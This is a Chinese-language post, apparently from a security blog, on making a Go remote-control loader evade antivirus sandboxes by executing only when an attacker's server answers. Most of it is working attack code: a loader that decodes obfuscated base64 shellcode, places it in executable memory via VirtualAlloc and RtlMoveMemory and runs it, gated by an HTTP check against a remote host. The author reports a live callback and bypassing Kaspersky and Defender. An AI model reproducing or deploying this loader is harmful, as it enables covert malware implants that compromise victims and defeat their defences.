条件触发式远控
0x00:前言
之前的golong加载器被无情针对了 (虽然还是能过国产杀软...)
难过中又带着点不甘心 所以这里搞一搞绕过
0x01:免杀原理
其实原理很简单,正如标题所说的:条件触发
0x02:如何做到条件触发
众所周知,现在很多杀软都有云查杀,会把我们的样本扔到沙盒跑一跑。
由于不知道具体规则,这里猜测沙盒可能从两个点对样本进行查杀 第一个是hash/提取的特征 第二种是跑一遍软件看行为。
那我们就一个一个来,首先看一下我们的样本有没有被提取特征,这也是最伤筋动骨的,如果被提取了特征那么就得重新对源码进行修改
将加载的shellcode从源码去掉,然后生成exe查杀:
好家伙,看来确实被提取特征了 ...
这里先不修改源码直接看第二种情况
既然沙盒一定会跑一次exe,那么我们可以给exe设置条件,我们让他执行它才能执行,这样便可以避过沙盒的部分机制,因为沙盒运行软件是无效的,它并不能建立连接。
那怎么做呢 这里提供几种思路
1、设置参数获取用户输入 如果输入参数符合程序规则,则加载shellcode发起连接。
2、通过设置仅自己可控制的条件对程序进行控制
第一条很好实现 比如可以获取用户输入的某个参数 如果等于程序设置好的数值,则进入加载器函数。
第二种其实也很好实现,比如可以在vbs放一个文本文件,程序发起访问访问这个文本,如果文本存在,则将http状态码返回,如果状态码等于200(即文本文件存在)则进入加载器函数。
代码如下:
u, _ := url.Parse("http://192.168.150.131/1.txt")
q := u.Query()
u.RawQuery = q.Encode()
res, err := http.Get(u.String())
if err != nil {
return
}
resCode := res.StatusCode
res.Body.Close()
if err != nil {
return
}
var y int = 200
if resCode == y {
run("payload")
}
}
所以我们只需将其和之前的加载器组合即可
import (
"encoding/base64"
"fmt"
"strings"
"syscall"
"unsafe"
"net/http"
"net/url"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func build(ddm string){
str1 :=strings.Replace(ddm, "#", "A", -1 )
str2 :=strings.Replace(str1, "!", "H", -1 )
str3 :=strings.Replace(str2, "@", "1", -1 )
str4 :=strings.Replace(str3, ")", "T", -1 )
sDec,_ := base64.StdEncoding.DecodeString(str4)
fmt.Println(sDec)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
u, _ := url.Parse("http://192.168.150.131")
q := u.Query()
u.RawQuery = q.Encode()
res, err := http.Get(u.String())
if err != nil {
return
}
resCode := res.StatusCode
res.Body.Close()
if err != nil {
return
}
var y int = 200
if resCode == y {
build("payload")
}
}
当我想让远控生效时,我只需要将此文本放到vps即可
这里我们运行一下
成功上线
再去杀一下
已经过的七七八八了 比较关键的卡巴斯基 defender 以及国内杀软已经全部绕过了 上面这六个比较偏门基本上遇不到 如果真遇到了 也可以使用更复杂的加密绕过 我这里仅仅是base64而已 。